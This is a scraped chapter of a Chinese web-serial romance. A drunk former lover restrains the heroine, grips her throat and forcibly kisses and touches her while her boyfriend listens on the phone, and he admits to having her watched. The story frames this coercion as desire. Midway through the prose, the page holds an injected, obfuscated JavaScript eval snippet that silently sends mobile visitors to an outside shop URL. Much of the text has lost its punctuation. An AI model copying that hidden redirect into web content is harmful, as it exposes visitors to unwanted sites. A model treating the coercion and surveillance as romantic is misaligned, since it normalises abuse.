文趣网 > > 绯与恋色 > 第 22 章 恶犬
    第22章恶犬

    22/

    谢违口吻轻狂不羁,话音里的轻蔑与不屑显然根本没把乔意瓷的“男朋友”放在眼里。

    甚至还因为这个身份被别人占着而血液兴奋眼尾薄红。

    乔意瓷偏头望着近在咫尺的手机上面还在显示通话中,可她挣脱不出手去挂电话,只能求助地望向谢违压低声音:

    “你把电话挂了!”

    要是等会谢违发酒疯做什么混蛋事,都被唐凛听了去,那她就真的没脸见人了。

    谢违单手捏住她的下巴抬高若有似无靠近她的唇角:“不跟男朋友报备了?”

    “男朋友会担心的。”

    “……”

    乔意瓷长睫似蝶翅震颤忽然觉得报备这话无比熟悉,似乎自己不久前也讲过。

    她躺在谢违身下自身难保,还分神去回忆,猛地想起一周前那个新搬来的邻居。

    有一天她散步又遇到他,出于害怕,她以要跟男朋友打电话报备为由,甩开了那个奇怪的邻居。

    一切的偶遇都在乔意瓷心中串联起来,原来都是故意的。

    哪里是什么新邻居分明就是谢违安排在她周围监视她的!

    刹那间乔意瓷眸中浮起怒色愤然质问:“你监视我?”

    见她发现,谢违满不在乎地扯了扯唇:“监视?你喜欢用这个词,那就叫监视好了。”

    谢违的大手扣着她的手腕压在松软的被子上,乔意瓷拼命扭动手腕,“你放开我,你这个变态!”

    乔意瓷这会儿也不在乎唐凛会不会听到她和谢违的对话了,只想快点摆脱谢违的禁锢。

    “变态?”

    谢违慢笑一声

    他也不含蓄直接抬手覆在她腰上不轻不重按住她立刻如愿感受到身下人儿在轻颤他嗤笑:

    “吃饭的时候不是叫我哥哥吗?现在翻脸不认人了?”

    乔意瓷那时候逼不得已现在恨不得一口咬死谢违“你算什么哥哥?”

    “乔意瓷抢着答我们是兄妹的人不是你吗?”

    “……

    “原来在你心里,我是你哥哥啊,谢违低低笑出声,墨黑的眸子沉郁危险,他俯身凑近乔意瓷耳畔,用只有他们两人能听见的音量说,

    “能和你上床,让你高嘲的哥哥吗?

    “你不要说了!

    乔意瓷脸已经红透了,如果她现在挣脱出手,一定先把谢违的嘴给捂住。

    谢违视线一偏落在通话界面,“怕男朋友听见了不高兴?

    “怕什么?听见了就说我是你哥哥,他手掌轻拍乔意瓷的脸,语气玩味嘲弄,

    “你不是惯会在别人面前跟我撇清关系吗?

    “我和你还有什么关系?我们之间本来就已经结束了!

    好一个结束了。

    谢违已经从她嘴里不知道是第几次听到这个词了。

    谢违太阳穴被气得突突跳,他闻言冷笑:“结束?老子同意了吗?

    话音刚落,谢违的大掌落在她脖子上,纤细瘦弱的脖颈,他一只手便能握住。

    “分手只要一个人提就够了。乔意瓷还试图和他理论。

    “是啊,谈恋爱分手一个人提就够了。

    他不疾不徐反问:“但你跟我当初是谈恋爱吗?

    “……乔意瓷呼吸一滞,嘴唇翕动,还真没法反驳他。

    见她回避不答,谢违捏住她的下巴,迫使她又把脸转回来,正面对着他,承受他的滔天怒意。

    “说啊,什么时候轮到被包的说了算了?他一句话比一句话说得重,字里行间的戾气只增不减。

    两人的脸靠得很近,乔意瓷清楚地看到谢违眼底有红血丝,昨晚应该没有休息好。

    活该。

    被他提醒当初的关系,乔意瓷瞪他:“谢违你别太过分了,你就知道欺负我。

    上学的时候欺负她,长大了还要欺负她。

    就逮着她一个人欺负是吧。

    “这就过分了?谢违呵笑,拇指摩挲着她颈间细腻的肌肤,感受到脉搏的跳动,嗓音低沉危险,

    “乔意瓷,还有更过分的。

    乔意瓷还未开口,枕边的手机突然传出唐凛严肃的声音,在安静的卧室里显得尤为清晰:

    “我没想到,谢总还有强迫别人女朋友的癖

    好。”

    似乎等了这么久这场争锋相对终于让他找到了合适的插话时机。

    谢违直勾勾盯着乔意瓷澄澈的眼眸唇角挑起一抹势在必得的冷笑

    “很快就不是了。”

    电话那头沉默了几秒仿佛才听懂谢违的意思沉声警告:“谢总何必为难一个女人?有什么冲我来。”

    “冲你来?你烂摊子处理完了吗还要我怎么冲你来?”

    “……”

    唐凛的公司最近遭遇了危机他猜到是被人针对了也猜到这个人大概就是谢违。现在亲耳听到谢违承认

    乔意瓷也听明白了眸中不掩对唐凛的担忧和自责骂道:“谢违你太卑鄙了……”

    只是她的话还没说完就被谢违俯身封住了唇瓣。

    一开口就是他不爱听的那就不要再说话了。

    谢违捏住她的下巴技巧熟练地让她张开贝齿动作毫不怜香惜玉探入含住搅动一池春水。

    黏腻羞耻的声音在静谧的房间里响起伴随着男人低沉的喘息和女人甜腻的娇吟。

    乔意瓷也不想发出声音被电话那头唐凛听到然而谢违特别恶劣地故意弄她让她根本招架不住。

    她被他们发出的声音羞红了脸无意中偏头看到手机上的通话已经被挂断不知道是谢违挂的还是唐凛挂的。

    谢违的手已经换了位置游走他上次在医院里没吓唬乔意瓷她身上的睡衣的确是他给她换的自然也看到了她毫无遮挡的玉体。

    她发烧了浑身都烫可谢违也觉得他浑身都热热得眼睛都红了最后只亲了亲就赶紧把睡衣扣上。

    今晚谢违是不打算放过她的反正她早晚还是自己的早吃晚吃都是吃。

    乔意瓷的身体早已被谢违琢磨透他要想让她没力气反抗那是轻轻松松。

    谢违见她不怎么挣扎了逐渐停下手里肆意的动作胸膛因为激动剧烈起伏着口吻高高在上又不容拒绝:

    “跟他分手。”

    “凭什么要听你的?”乔意瓷嘴唇红润微肿倔强抬眸跟他对视眼里满是不服输。

    谢违挑唇冷哂:“看来你想戴着别人女朋友的头衔

    跟我上床?”

    “鬼才要跟你上床!”乔意瓷双手抵在他胸口。

    房间里响起锁扣解开的“咔哒”一声谢违面无表情抽出。

    此时他凤眸里的欲色已经很深像一汪深潭看不到底半阖着眼凝着她潋滟的水眸开始一本正经胡说:

    “你给我灌那么多酒是不是想把我灌醉然后跟你酒后乱性?”

    “我才没有你少胡说。”乔意瓷感受到滚烫两只小手推得更着急了。

    谢违躬着身子下沉声音哑得不像话:“不是吗?”

    乔意瓷听到他口无遮拦

    喝醉了的谢违现在虽然口齿清晰行动与平时无异但到底是酒精上头血液沸腾没了底线也不要脸了完全卸下伪装化身一只好色的大禽兽!

    乔意瓷软了身子骨还积聚力气甩了谢违一巴掌:“我没有!你别把自己说得这么无辜。”

    他呼吸粗重灼热目光灼灼盯着她的脸“不愿意?”

    “对。”

    “一晚多少钱?开个价我给你。”谢违腔调轻慢。

    “你给多少钱我都不卖给你!”

    “怎么?要给那个姓唐的守身如玉?”谢违呵笑脸上的笑容略显阴鸷偏执凛声

    “跟我玩金主剧本跟他就是纯爱剧本?乔意瓷谁给你的胆子?”

    他说话的语速不急不慢和他现下又急躁又狠劲十足的动作截然不同。

    端方如君子狠厉如修罗。

    以前她在这方面所有的感受都是谢违给她的熟悉的触感只要一碰上就难以拒绝。

    她突兀地开口把酸软的手臂搭在眼睛上嗓音是带着媚意的哑:“谢违你要是还觉得我欠你的那你快点吧我就当是玩具。”

    “过了今晚你以后都别想再找到我我永远都不可能会原谅你。”

    她的声音不高但威胁足够有威慑力还真的让处于紧急关头的谢违停下来。

    她的话如一盆冷水浇下谢违直接面色铁青鹰隼般的眸子紧盯身下的女人怒火克制不住:

    “全天下女人除了你都死光了?我就非得s你?”

    她这么排斥他他怎么可能还腆着脸继续他谢违还

    没到这么贱的地步。

    乔意瓷红润的唇瓣上还有她刚才用力咬着留下的齿印,面对谢违的嘲讽,她没有回应。

    谢违忽然泄了力气,咬肌绷紧,翻身下床走到窗边,头也不回,“你滚吧。”

    乔意瓷听到谢违放行,赶紧坐起来整理自己的衣服,拔腿就跑,生怕他后悔似的。

    谢违望着落地窗上倒映着的乔意瓷逃跑的背影,唇角勾起讽笑。他从桌上的烟盒里取了一支烟,点燃后咬在嘴里,心情烦躁。

    以前贤者时间抽事后烟,他垂眸睨了一眼身下,这根算什么。

    气得两窍生烟。

    烟抽了一半,谢违转身从西装口袋里找出他的手机,打电话给助理,让他跟着乔意瓷,确保她安全到家。

    /

    那晚和谢违不欢而散之后,乔意瓷就再没见过谢违了。她不确定谢违是不是被她气回京市,再也不想见到她了。

    毕竟她那晚说出那样轻视他的话,是个男人应该都受不了吧。

    乔意瓷还挺担心谢违反悔注资的事,她找了个时间私底下跟柳喻打听,柳喻告诉她投资款吃完晚饭的第二天,一千五百万就直接打到公司账户上了。

    还好谢违没有翻脸撤资,不然就是他们的努力就白费了。

    之前柳喻酒醒后也思考了乔意瓷和谢违之间的关系,总觉得他们之间怪怪的。

    正好乔意瓷找她问投资到账的事,她也顺势试探乔意瓷和谢违的真实关系。

    “意瓷,你和谢总真的是兄妹吗?”

    乔意瓷抿了抿唇,凑到柳喻耳边,跟她说悄悄话。

    柳喻听完后一脸惊讶,饶是她见多识广,内心还是受到了震撼:“天啦,难怪那天你们之间气氛怪怪的,都怪我喝上头了,还让你去给他敬酒。”

    “无所谓了,反正我现在和他什么关系都没有。”

    “真没了?”

    “嗯,最起码短时间内肯定是没了。”

    至于以后谢违会不会突然又脑子一抽,想来为难她也说不准,因为他似乎还没睡够她,那天晚上那么急色,也不知道后来他是自己解决的,还是和别人……

    柳喻又想到乔意瓷这几个月都不当平面模特,问道:“那你这几个月不想在杂志和网上露脸,是怕谢总找

    到你?”

    乔意瓷点头:“嗯,这几个月当放松了。”

    “那以后呢?反正谢总现在也知道你人在哪了,你之后还打算继续当平面模特吗?”

    “做,我过段时间重新开始经营账号。”

    之前乔意瓷自己经营自媒体账号,跑路之后,为了不泄露行踪,她一直断更到现在,准备重新把账号拾起来做。

    “行,到时候姐这里也有资源给你,”柳喻双手交错搭着,琢磨道,“谢总前天好像已经回京市了,而且也没说什么时候会再来江市。”

    “谢氏集团里的事很多,大事都要谢违决策,他忙起来根本不可能过来的,而且他在江市也没什么产业。”

    柳喻点头:“嗯,所以这是你最近不高兴的原因?”

    乔意瓷一愣:“我有不高兴吗?”

    “对啊,你看起来有心事。要不我给你放几天假?”

    “带薪吗?”

    柳喻轻笑,爽快答应她:“带,你回去休息两天吧,正好下周婚纱到了,你来当婚样模特。”

    “好。”

    /

    唐凛要去港城出席一个商业酒会,问乔意瓷能不能当他的女伴,和他一起去港城。

    乔意瓷想着也不能让唐凛白帮忙,没怎么犹豫就答应了他的邀请,算是还他一个人情。

    这个酒会本来定于一个星期前举办,但因为主办方想要的人不能都到齐,特地为此又推迟了一个星期。酒会的来宾都是保密的,具体会有哪些人参加尚且不明。

    乔意瓷的礼服是唐凛为她准备的,一条香槟色鱼尾裙,裙身是羽毛和钻石流苏的设计,腰线纤瘦,做工精细,非常衬乔意瓷的肤色。

    乔意瓷挽着唐凛的胳膊和他一起进去,跟在他身旁听他和那些宾客交际周旋。唐凛为人温和谦逊,但在交际中丝毫不落下风。

    但是她听了一会儿就不感兴趣了,人还站在他身侧,但思绪早已神游到天外。

    突然,宴会厅门口传来不小的动静,成功吸引乔意瓷的注意力。

    她心中好奇,侧眸朝那处望去,就看到谢违长身鹤立,西装革履站在众人中央,是宴会厅里视线的聚焦点。

    他一身深灰色的西装挺括矜贵,肩部线条利落,卓荦不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|13543893|137460||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    羁,气场凌厉,仅仅是

    往那一站就让人感受到他浑然天成的尊贵和骄傲。

    他也的确有那个实力和资本让这么多人仰望他。

    唐凛同样也看到了人群中央的谢违他低眸去看乔意瓷的反应:“对不起我不知道他今晚会来。”

    “你不用跟我说对不起。”谢违出现在这是他们都没预想到的。

    周围宾客欢笑的声音有点大乔意瓷说话的声音也不高唐凛听不太清楚于是他弯腰凑近乔意瓷认真地听她说话。

    殊不知他们现在的站位和姿势从远处看去特别像唐凛在弯腰亲吻乔意瓷。

    唐凛:“如果你累了想找个休息室就告诉我我带你过去。”

    乔意瓷对于他的靠近很不习惯微微后退了一步:“好。”

    得到她的回答

    不知是出于什么心理乔意瓷又朝刚才谢违站的位置投去目光却不想就这样猝不及防撞上谢违冷肃的眸光。

    他眸光锐利深邃直勾勾落在她的眼里。

    也正是这一眼才让乔意瓷看到谢违今晚身边也跟着一个女伴此刻就站在他身侧。

    虽与他隔了点距离但那乌泱泱一圈就她一个女的显然是谢违带来的女伴。

    谢违只是越过人群冷冷扫了她一眼就漠然移开视线继续游刃有余地和旁人碰杯似乎刚才那一眼只是随意一瞥根本没想看到她。

    乔意瓷也迅速收回视线原本平静的心湖因为谢违的意外出现像被投入了一粒石子在湖面上漾起阵阵涟漪。

    然而怕什么来什么不久后谢违就被人邀请着来到这边和乔意瓷的距离迅速拉近。

    谢违身边的男人注意到唐凛的存在爽朗一笑和他寒暄:“唐总可真是好久不见了!我刚才一直在那边都没看到您您身边这位是您的女朋友?”

    唐凛的手轻轻揽在乔意瓷腰际微笑着应下:“是的是我女朋友乔意瓷。”

    乔意瓷脸上扬起大方的笑容微微颔首:“您好我是乔意瓷。”

    “乔小姐真是漂亮优秀佳人啊唐总你好有福气。”

    “谢总什么时候交了女朋友可一定要告诉大家啊。”

    谢违小幅度摇晃着手里的酒杯唇角勾着

    不明显的弧度,懒声慢悠:“之前交了一个,被耍了。

    乔意瓷身体猛地一僵,下意识以为谢违在点她。可想到之前谢违说他们不是在谈恋爱,她又觉得不是自己。

    而且谢违不是要订婚了,圈子里这些人竟然都不知道。

    那人立刻大笑,揶揄:“谢总开玩笑吧,哪个女人这么没眼光,看不上谢总啊?

    “眼光差就是差。

    谢违仰头喝了一口酒,目光似有若无落在乔意瓷身上。

    那个男人似乎有意促进谢违和唐凛的关系,以为他们还不认识,主动向谢违介绍:“谢总,这位是唐凛,新领科技的创始人。

    介绍完唐凛,又转而向唐凛介绍谢违:“唐总,这位是谢总,京市谢氏集团的总裁,你应该听说过吧。

    谢违未置一词,低着眸态度冷淡。

    唐凛温和一笑,先开口:“当然,久仰谢总大名,前几次见面也没能好好和谢总说上几句话。

    “呦原来你们认识啊,看来我这介绍有点多余。

    谢违扯了扯唇,眉眼冷峭凌厉,惜字如金:“前几次的确没什么心情跟你说话,今晚同样。

    谢违毫不留情拂了唐凛的面子,让周围的人不由得思考他们之间有什么恩怨,大到在这种场合直接让对方下不来台。

    唐凛唇边的笑容僵了一瞬,垂下眼帘敛住眸中一闪而过的冷色,“那我就不打扰谢总了。

    乔意瓷也没料到谢违这么针对唐凛,心中对唐凛的愧疚更大,和唐凛一起离开时,下意识不满地睨了谢违一眼。

    唐凛今天来这个酒会是有任务的,他必须要拉拢到足够的投资,才能把公司出现的漏洞补上。

    可现在谢违毫不给他面子,也相当于间接告诉那些人,如果和他交往就是和谢违站在对立面。

    下半场酒会,唐凛明显比刚来时急躁了很多,乔意瓷不想让他分心照顾她,找了个理由到后花园里散步。

    在花园里待了会儿,乔意瓷浑身清爽了很多,港城的夜景和京市,江市都不一样,各有各的灯红酒绿,浮华繁夜。

    她估计着在外面时间有点久了,就提步朝宴会厅走去,准备和唐凛汇合。

    意外发生在走廊的转角,乔意瓷转弯时撞上一个女人

    那人手一抖直接把香槟泼在了她的裙子上胸口迅速湿了一大片。

    乔意瓷惊慌捂住胸口抬眸朝撞她的人望去诧异发现竟然是跟在谢违身边那个女伴。

    “对不起对不起你没事吧?我不是故意的。”那人也很惊讶手足无措地跟她道歉。

    乔意瓷拧起秀眉有些不悦。

    “这位小姐要不你跟我去我的休息室吧我今晚带了两条裙子你可以把身上这件换下来。”

    乔意瓷低头看着胸前湿的一块这样返回宴会厅肯定不行眼下只有这个办法了。

    她点头:“……好。”

    乔意瓷跟着她去了一间休息室那个女人向她介绍:“裙子和胸贴都在这个袋子里你可以在这里换完再出去。这里是私人休息室不会有陌生人闯进来你放心吧。”

    乔意瓷接过她递来的袋子:“嗯。”

    谢违的女伴离开休息室后乔意瓷先打开袋子从里面把备用的礼裙拿出来放在沙发上时

    她没时间奇怪这些赶紧把身上的香槟色礼裙脱下来然而她才脱到一半就听到门把手扭动的声音。

    她警惕回头就算来人是刚才那个女人她还是觉得害羞。

    她拉住即将从胸上滑落的裙子慌张回眸随着看清走进来的的人是谁乔意瓷花容失色直接捂着胸口蹲在地上。

    “出去!”她对着门口的人说。

    门口传来冷漠平静的声音:“这是我的休息室。”

    “……”乔意瓷还是大意了虽然这是私人休息室但是主人是可以随时进来的啊。

    刚才恐怕都被谢违看到了。

    乔意瓷咬紧唇瓣顶着那人灼然的目光利落拉好衣服起身提步朝门口走去努力无视谢违的存在。

    手刚搭上门把手就听到走廊里忽然有两道脚步声走近。

    乔意瓷迈出去的脚又及时收了回来并且心虚地赶紧把门掩上。她可不想现在这个样子被别人看到。

    门外的脚步声越来越近刻意压低声音说话的声音也愈来愈清晰。

    乔意瓷听着有几分耳熟。

    “唐玥你到底要做什么?”是唐凛的